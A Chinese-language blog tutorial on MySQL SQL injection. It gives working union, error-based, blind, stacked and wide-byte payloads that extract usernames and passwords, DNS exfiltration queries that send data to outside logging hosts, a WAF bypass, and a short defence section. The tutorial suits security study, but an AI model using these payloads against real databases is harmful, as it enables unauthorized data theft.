SQL 注入

SQL 注入

产生原理

用户输入的参数打破了SQL语句的原有逻辑,导致 SQL 语句可控。

本质上就是使用 “闭合符号” 闭合掉原来的 SQL 语句,然后执行另外的 SQL 语句。( 打破原本传递数据区域的边界,插入逻辑代码。)

比如,后端的 SQL 语句如下:

1
SELECT * FORM USER WHERE ID = '1'

ID 为可控参数,使用闭合符号闭合以执行另外的 SQL 语句:

1
2
3
4
5
6
# 输入 1' ORDER BY 2 ' (使用两个单引号闭合)
SELECT * FORM USER WHERE ID = '1' ORDER BY 2 ''
# 输入 1' ORDER BY # (使用单引号和注释符闭合)
SELECT * FORM USER WHERE ID = '1' ORDER BY 2 # '
# 输入 1' ORDER BY --+ (使用单引号和注释符闭合)
SELECT * FORM USER WHERE ID = '1' ORDER BY 2 --+ '

闭合掉原有的 SQL 逻辑,控制 SQL 语句,造成危害。

数据库

系统表

系统表中存储着数据库名、数据表名、列名,我们可以从系统表中查询相应的内容,更好的进行数据查询。

对于没有系统表的数据库,就只能依靠跑字典,收集对应数据库常见的名字,然后进行跑到一个正确的表名、字段名。

数据库 系统表
MySql > 5.0 information_schema.tables
Oracle all_tables, user_tables
MSSQL master, sysobjects
Access
PostgreSQL pg_database, pg_tables
DB2 sysibm

MySql

MySql 中的一些信息函数:

函数 作用
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
version() 数据库版本号
@@datadir 数据库路径
@@version_compile_os 操作系统版本
database()schema() 当前所在数据库

时间函数

数据库 时间函数
MySql sleep(5)
Oracle DBMS_PIPE.RECEIVE_MESSAGE('a',5)
MSSQL WAITFOR DELAY '00.00.05'
Access
PostgreSQL pg_sleep(5)

布尔判断

MySql 中:

运算 Payload
1 or 1=1
异或 1 xor 1=1
按位与 1 & 1=1
1 && 1=1
按位或 1 | 1=1
1 || 1=1
大于 1 > 2
小于 1 < 2
大于等于 4 >= 3
小于等于 3 <= 4
不等于 5<>5
不等于 5 != 5
兼容空值等于 3 <=> 4
在…和…之间 5 is between 1 and 6
模糊匹配 1 like 1
空值断言 1 is null
非空断言 1 is not null
正则匹配 1 is regexp 1
在数组中 1 in (1)

其他函数

1
concat(0x7e,(select+md5(6666)),0x7e)

判断注入

常见的注入判断方式:

  1. 逻辑判断
  2. 报错判断
  3. 延时判断

逻辑判断:

1
2
3
4
# AND 1=1true, 页面返回正常
?id=1 AND 1=1 #
# AND 1=2false, 页面返回异常
?id=1 AND 1=2 #

报错判断:

  • 报错判断通常尝试使用 单引号、反斜杠 等字符,破坏原有的 SQL 逻辑,导致报错的产生 ( 后端输出报错才会产生 )

延时判断:

  • 通过延时函数让页面返回时间延长,以判断释放存在注入

联合注入

联合注入的关键就是 UNION 关键字,拼接 2 个 SELECT 语句。所以后端是 SELECT 语句的时候才能使用 UNION 注入。

联合查询

使用 UNION 关键字联合两个 SELECT 语句,一次查出两个 SELECT 的查询结果。

1
SELECT column_name(s) FROM table1 UNION SELECT column_name(s) FROM table2;

注意:

  • UNION 内部的每个 SELECT 语句必须拥有相同数量的列。
  • 列也必须拥有相似的数据类型。
  • 每个 SELECT 语句中的列的顺序必须相同。

注入流程

  1. 判断字段数( 列数 )
  2. 确定回显点 ( 数据显示在页面的位置 )
  3. 数据查询

Payload

判断字段数

1
2
order by 3 	# 正常
order by 4 # 错误, 证明字段数为 3

原理:order by 可以将查询的结果按照字段排序后再返回数据。当 order by 一个超出索引范围的值时,由于没有索引对应的那个字段,order by 也就无法按照其字段进行排序,自然就会报错。

确定回显点

1
?id=-1 union select 1,2,3

?id=-1 可以让原因的 SELECT 查询结果为空,那么原有的查询结果就为空,UNION 拼接的 SELECT 语句的查询结果也就顶替了之前结果回显的位置。

union select 除过 1,2,3,4 之外还可以使用如 'a','b','c' 或者 null,null,null 来进行填充。

查询数据

数据查询的一般流程:

  1. 查询数据库名
  2. 查询数据表名
  3. 查询数据表中的列名
  4. 查询具体数据

Payload:

1
2
3
4
5
6
7
8
9
10
# 1. 查询数据库名, 版本
union select 1,group_concat(user(),0x7e,database(),0x7e,version()),3
# 2. 从 information_schema.schemata 中查询 schema_name ( 数据库名 )
union select 1,(select schema_name from information_schema.schemata limit 1,1),3
# 3. 从 information_schema.tables 中查询 table_name ( 表名 )
union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1),3
# 4. 从 information_schema.columns 中查询 column_name ( 列名 )
union select 1,(select column_name from information_schema.columns where table_name='users' limit 1),3
# 5. 数据查询
union select 1,(select group_concat(user,0x3a,password) from users limit 1),3
1
2
3
4
5
select group_concat(schema_name) from information_schema.schemata

select group_concat(table_name) from information_schema.tables where table_schema=''

select group_concat(column_name) from information_schema.columns where table_schema='' andtable_name=''

报错注入

MySql 报错注入

主键重复报错

主键重复错误,报错时会将查询结果显示出来

Payload:

1
and (select 1 from (select count(*),concat((select 语句),floor(rand(0)*2))x from information_schema.tables group by x)a) 

Payload 分析:

1
2
3
4
5
6
count()			#	返回某列的行数
concat() # 拼接字符串
floor() # 向下取整
rand() # 产生0~1的随机数
rand(0) # 固定的一个数
group by column_name # 查询结果时按column_name进行分组的数据显示的
1
2
floor(rand(0)*2)		#	产生011011....这种有规律的数
select count(*) from table_name group by column_name;

遇到这样按 column_name 分组并记录行数时,它的执行过程为:

  • 创建一个虚拟表,一个字段为 key(主键),一个为 count(计数),然后看分组依据 column_name,如果 key 有,就 count++,没有就插入key值再++
  • 创建一个虚拟表,一个字段为 key(主键),一个为 count(计数),然后看分组依据 column_name,如果 key 有,就 count++,没有就插入key值再++

那么报错语句的流程是:

  1. 看x,x=0,key中没有,插入x,这里x是floor(rand(0)2)的别名,所以插入过程中又调用了floor(rand(0) 2)一次,所以插入的key应该是第二次的值1
  2. 看x,x=1,key中存在,count++
  3. 看x,x=0,key中没有,准备插入x,这里就又调用了一次,所以又插入了一次key=1,但key中已经有1了,造成主键重复报错

information_schema.tables 是为了生成足够的 011011011...

报错语句:

(select concat((payload),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)返回数据后,select 1 from a; 将数据作为一个表去查询,a 是查询结果的别名。

靶场演示:

1
and (select 1 from (select count(*),concat((select concat('username:',username,0x7e,'password:',password) from users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) 

image-20220323183836712

xpath语法报错

xpath 参数应该是 /xxx/xxx/xxx/… 这种格式,当我们写入其他格式时,xpath语法错误,报错同时返回查询结果。

1.extractvalue

1
and(select extractvalue("anything",concat('~',(select 语句))))

payload分析:

  • extractvalue(xml_frag, xpath_expr) 函数使用 XPath 表示法从 XML 字符串中提取值
  • xml_frag 目标xml文档
  • xpath_expr 利用Xpath路径法表示的查找路径

注意事项:

  • ~可以换成#$ 等不满足 xpath 格式的字符
  • extractvalue() 能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用 substring() 函数截取或 limit 分页,一次查看最多32位

靶场演示:

1
and(select extractvalue("anything",concat('~',(select concat('username:',username,0x7e,'password:',password) from users limit 1,1))))

image-20220323194142805

2.updatexml

1
and(select updatexml("anything",concat('~',(select 语句)),"anything"))
  • updatexml(XML_document, XPath_string, new_value) 改变文档中符合条件的节点的值
  • XML_document:String格式,为XML文档对象的名称
  • XPath_string :Xpath格式的字符串
  • new_value:String格式,替换查找到的符合条件的数据

靶场演示:

1
and(select updatexml("anything",concat('~',(select concat('username:',username,0x7e,'password:',password) from users limit 1,1)),"anything"))

数值溢出报错

1
and exp(~(select * from(select 语句)x))

Payload 分析:

exp()是以e为底的指数函数,但是如果传递的数太大了,当大于709时,exp()就会因为溢出而报错(DOUBLE 值超出)。

利用溢出特性和双层嵌套查询,使数据库将错误信息返回,(数据库优先执行括号语句)这时,双层语句内部就会执行,但是它不会回退,所以就带着第一层语句+信息返回,达到我们目的。

靶场演示:

1
') and exp(~(select * from(select concat('username:',username,0x7e,'password:',password) from users limit 1,1)x))--+

image-20220323210023804

非法几何报错

几何函数的参数不满足,无法构成几何对象,产生报错(非法几何),报错信息中返回查询结果。

1.geometrycollection

1
and geometrycollection((select * from(select * from(select 语句)a)b))

GeometryCollection 是由1个或多个任意类几何对象构成的几何对象。

GeometryCollection 中的所有元素必须具有相同的空间参考系(即相同的坐标系)

GEOMETRYCOLLECTION(POINT(10 10), POINT(30 30), LINESTRING(15 15, 20 20))

靶场演示:

1
') and geometrycollection((select * from(select * from(select concat('username:',username,0x7e,'password:',password) from users limit 1,1)a)b)) --+

image-20220323211704841

2.multipoint

1
and multipoint((select * from(select * from(select 语句)a)b))

MultiPoint是一种由Point元素构成的几何对象集合。这些点未以任何方式连接或排序。

3.polygon

1
and polygon((select * from(select * from(select 语句)a)b))

4.multipolygon

1
and multipolygon((select * from(select * from(select 语句)a)b))

5.linestring

1
and linestring((select * from(select * from(select user())a)b))

6.multilinestring

1
and multilinestring((select * from(select * from(select 语句)a)b))

盲注

盲注就是页面没有回显,也没有报错回显的情况。

盲注流程

由于页面不能回显字符,也就无法直接获取到具体的字符。

需要通过 “布尔 / 延时” 的方法来判断具体的字符是什么?

一般的方法是:

  1. 判断要查询数据的 “个数,字符长度”
  2. 通过”布尔/延时”的方式判断具体的字符 ( 具体字母,ASCII 码 )

布尔盲注

Payload:

1
2
3
4
5
6
7
8
# 1. 判断当前数据库(table_schema=database())中表的个数 = 4
and (select count(*) from information_schema.tables where table_schema=database())=4 --+
# 2. 判断当前数据库中第一个(limit 0,1)表的表名长度(length(table_name))
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
# 3. 判断第一个数据表中第一个字符的 = 'u'
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='u'
# 3. 判断第一个数据表中第一个字符的ASCII码 = 115
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115

延时盲注

1
2
# 如果 expr 表达式的结果为 true, sleep n 秒, expr 其实就是布尔盲注的 Payload
if(expr,sleep(n),1)

堆叠注入

堆叠查询

堆叠查询是指一次执行多条 SQL 语句,直接使用 ; 隔开。

堆叠注入

在原有的 SQL 语句后面执行一条新的 SQL 语句。

堆叠注入主要是后端执行 SQL 语句时,使用了不恰当的函数,这些函数可以执行多条 SQL 语句,从而导致堆叠注入的发送。

比如 PHP 中的函数:

1
2
mysqli_multi_query($conn, $sql)
multi_query($sql)

堆叠注入中,可以执行各种动词的SQL命令,比如 show, alert 这种,危害更大。

转义对抗

对于 SQL 注入的防御方法,核心思想是转义。将边界限定为单引号,参数中的内容统一进行一次转义,使之成为真正的数据。

只要数据无法逃逸出边界,便永远无法逃逸出边界,无法改变逻辑。

攻防是相对的。有转义机制就有对抗转义的方法。其中,最为典型的两个思想是 宽字节注入二次注入

宽字节注入

宽字节注入的思想是提交宽字节编码的半个字符,利用这半个字符和转义后的转义符 (\) 结合,”吃掉” 转义符,留下单独的单引号去闭合SQL语句。

宽字节注入有一个前提条件,就是服务器脚本连接数据库时使用的是”宽字节”编码,且该编码中含有低字节位,如 0x5C 的字符,即转义符 \

比如在 GBK, Big5 这些字符集都存在宽字节注入的问题。

GBK 为例,%df 和转义符 %5C 合并后 %df%5C 是一个 GBK 编码中的 “運” ( 运的繁体 ) ,导致转义符被 “吃掉”,可正常闭合 SQL 语句。

SQL

二次注入

在被转义的字符准备存入数据库之前,都会对这些字符进行一次”反转义”,目的是将没有转义的字符存入数据库。

当再次从数据库中取出数据带入 SQL 语句进行查询时,这个时候的字符时没有转义的,也就造成了这个 SQL 语句的闭合,造成 SQL 注入。

二次注入

这个漏洞主要靠白盒审计。

DNS 查询注入

除了直接回显、错误回显、无回显之外,还有一种思路与它们不同,也就是”外带法”,既然页面无法回显,那么就想办法将要查询的数据外带出来。

这里的”外带”使用的是 DNS 协议,将数据外带到 DNSlog ( 域名解析的日志 ) 这里。

比如:域名是 34880287.ipv6.1433.eu.org ,我这里请求一个 fuyoumingyan.34880287.ipv6.1433.eu.org 这个域名,请求之后,域名服务器就会记录下这个解析。一般外带的数据是放在域名前缀这里的,也就是 fuyoumingyan

MySql 中实现 DNS 外带注入的方法:

  • load_file + windows UNC 读取其他域名下的文件

load_file 函数用于读取文件,在 MySql > 5.7.16secure_file_priv 的值默认为 NULL ,也就只能读取指定的安全文件路径。不过在 secure_file_priv 为空,也就是没有任何设置的时候,load_file 是可以读取任意路径的,再加上 windows 下的 UNC 语法就可以实现域名下的文件读取。

UNC 是一种命名惯例,主要用于再 windows 系统上指定和映射网络驱动器。其可以使用特定的标记法来识别网络资源,命名语法由服务器名、共享名和一个可选的文件路径组成。语法如下:

1
\\server\share\file_path

Payload:

1
select load_file(concat('//',(select hex(数据) from 表),'.34880287.ipv6.1433.eu.org/1.txt'));

因为域名对字符的限制,所以使用 hex() 对查询的数据进行了一下编码。

本地测试一下:

1
2
3
4
# 测试是否存在SQL注入
select load_file(concat('//17897fa1.ipv6.1433.eu.org/1.txt'));
# 外带数据
select load_file(concat('//',(select hex(user())),'.n9xeb6dad6s0a0m83nbh41dz4qahy7mw.oastify.com/1.txt'));

image-20230522232214082

SQL防御

采用 sql 语句预编译和绑定变量,是防御 sql 注入的最佳方法。

预编译

在 MySQL 中,可以使用预编译语句(Prepared Statements)来执行参数化查询,从而提高性能和安全性。预编译语句允许我们预先准备查询模板,然后将参数传递给该模板进行执行,避免了每次执行查询都要解析和编译 SQL 的开销,同时也可以有效防止 SQL 注入攻击。

MySql 预编译的一般步骤 ( 其他脚本语言类似,因为可以利用 MySql 的预编译达到绕过的效果这里写一下 ):

  1. 准备预编译语句
  2. 绑定参数
  3. 执行预编译语句
  4. 获取结果
  5. 清理资源
1
2
3
4
5
6
7
8
9
10
11
12
# 1. 准备预编译语句 prepare
SET @sql = 'SELECT * FROM table WHERE column = ?';
PREPARE statement_name FROM @sql;
# 2. 设置参数
SET @param1 = 'value';
# 3. 将参数绑定到预编译语句中, 再使用 execute 执行预编译语句
EXECUTE statement_name USING @param1;
# 4. 获取结果 fetch select
FETCH statement_name INTO @result;
SELECT * FROM table;
# 5. 清理资源
DEALLOCATE PREPARE statement_name;

使用预编译后,用户提交的参数会绑定到查询的变量位置,无法再将 SQL 语句闭合,所以预编译是防止 SQL 注入的一种方法。

但在堆叠注入的情况下,如果用户可以执行 SQL 语句,那么也可以利用 SQL 预编译来造成危害。

比如:站点存在 堆叠注入,但 WAF 过滤了 SELECT 等查询语句。这时我们可以通过 CONCAT 拼接字段构成 SQL 预编译模板,再执行 SQL 语句。

1
2
3
SET @sql = CONCAT('se','lect * from user');
PREPARE statement_name FROM @sql;
EXECUTE statement_name;

严格的数据类型

对于数字型参数的查询,直接将参数进行强制类型转换,可以直接达到预防效果。

过滤转义

转义处理:对进入数据库的特殊字符进行转义处理,或编码转换,使其无法闭合。

过滤字符:添加过滤黑名单,匹配到就不往下执行 SQL 语句,直接返回

  • 联合注入中的:order|union|select|......
  • 报错注入中的:floor|update......
  • 布尔盲注中的:substr|length|ascii.....
  • 延时盲注中的:sleep...

避免报错信息

报错信息的回显就是报错注入的产生原因。


SQL 注入
https://liancccc.github.io/2024/03/15/技术/TOP10/SQL 注入/
作者
守心
发布于
2024年3月15日
许可协议